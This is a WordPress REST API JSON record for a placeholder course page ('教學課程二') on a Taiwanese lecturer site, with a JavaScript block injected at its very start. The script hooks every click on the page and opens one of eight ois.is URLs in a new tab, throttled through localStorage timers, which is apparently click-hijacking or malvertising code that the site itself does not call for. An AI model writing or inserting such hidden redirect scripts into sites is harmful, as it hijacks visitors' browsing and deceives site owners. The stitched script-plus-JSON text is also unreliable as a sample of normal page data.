<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":899,"date":"2014-10-16T17:18:33","date_gmt":"2014-10-16T09:18:33","guid":{"rendered":"http:\/\/edu.secda.info\/peekaboo_lecturer\/?page_id=899"},"modified":"2014-10-17T12:41:39","modified_gmt":"2014-10-17T04:41:39","slug":"%e6%95%99%e5%ad%b8%e8%aa%b2%e7%a8%8b%e4%ba%8c","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/peekaboo_lecturer\/?page_id=899","title":{"rendered":"\u6559\u5b78\u8ab2\u7a0b\u4e8c"},"content":{"rendered":"<p><span style=\"font-size: 24px; color: #808080;\">\u60a8\u53ef\u4ee5\u5728\u9019\u500b\u9801\u9762\u5148\u4ecb\u7d39\u8aaa\u660e\u60a8\u7684\u8ab2\u7a0b\u7c21\u4ecb\u6216\u662f\u7814\u7a76\u65b9\u5411\uff0c\u518d\u7528\u8d85\u9023\u7d50\u65b9\u5f0f\u9023\u7d50\u5230\u60a8\u5c08\u5c6c\u9019\u500b\u8ab2\u7a0b\u7684\u5e73\u53f0\u3002<\/span><\/p>\n<p><span style=\"font-size: 24px; color: #808080;\">\u6216\u662f\u60a8\u53ef\u4ee5\u76f4\u63a5\u5728\u4e0a\u65b9\u6a6b\u5411\u9078\u9805\u4e2d\uff0c\u76f4\u63a5\u9023\u7d50\u5230\u60a8\u5c08\u5c6c\u7684\u8ab2\u7a0b\u5e73\u53f0\uff08\u82e5\u60a8\u9078\u64c7\u9019\u7a2e\u65b9\u5f0f\uff0c\u60a8\u5fc5\u9808\u5728\u7ba1\u7406\u5f8c\u53f0\u4e2d\uff0c\u5728\u300c\u5916\u89c0\u300d\u9078\u9805\u4e0b\u7684\u300c\u9078\u55ae\u300d\u529f\u80fd\uff0c\u5229\u7528\u301d\u93c8\u7d50\u301e\u7684\u65b9\u5f0f\u8b8a\u66f4\u9023\u7d50\u65b9\u5f0f\uff09\u3002<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u60a8\u53ef\u4ee5\u5728\u9019\u500b\u9801\u9762\u5148\u4ecb\u7d39\u8aaa\u660e\u60a8\u7684\u8ab2\u7a0b\u7c21\u4ecb\u6216\u662f\u7814\u7a76\u65b9\u5411\uff0c\u518d\u7528\u8d85\u9023\u7d50\u65b9\u5f0f\u9023\u7d50\u5230\u60a8\u5c08\u5c6c\u9019<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":882,"menu_order":2,"comment_status":"closed","ping_status":"open","template":"","meta":{"_bbp_topic_count":0,"_bbp_reply_count":0,"_bbp_total_topic_count":0,"_bbp_total_reply_count":0,"_bbp_voice_count":0,"_bbp_anonymous_reply_count":0,"_bbp_topic_count_hidden":0,"_bbp_reply_count_hidden":0,"_bbp_forum_subforum_count":0},"_links":{"self":[{"href":"https:\/\/edu.secda.info\/peekaboo_lecturer\/index.php?rest_route=\/wp\/v2\/pages\/899"}],"collection":[{"href":"https:\/\/edu.secda.info\/peekaboo_lecturer\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/peekaboo_lecturer\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_lecturer\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_lecturer\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=899"}],"version-history":[{"count":2,"href":"https:\/\/edu.secda.info\/peekaboo_lecturer\/index.php?rest_route=\/wp\/v2\/pages\/899\/revisions"}],"predecessor-version":[{"id":991,"href":"https:\/\/edu.secda.info\/peekaboo_lecturer\/index.php?rest_route=\/wp\/v2\/pages\/899\/revisions\/991"}],"up":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_lecturer\/index.php?rest_route=\/wp\/v2\/pages\/882"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/peekaboo_lecturer\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=899"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}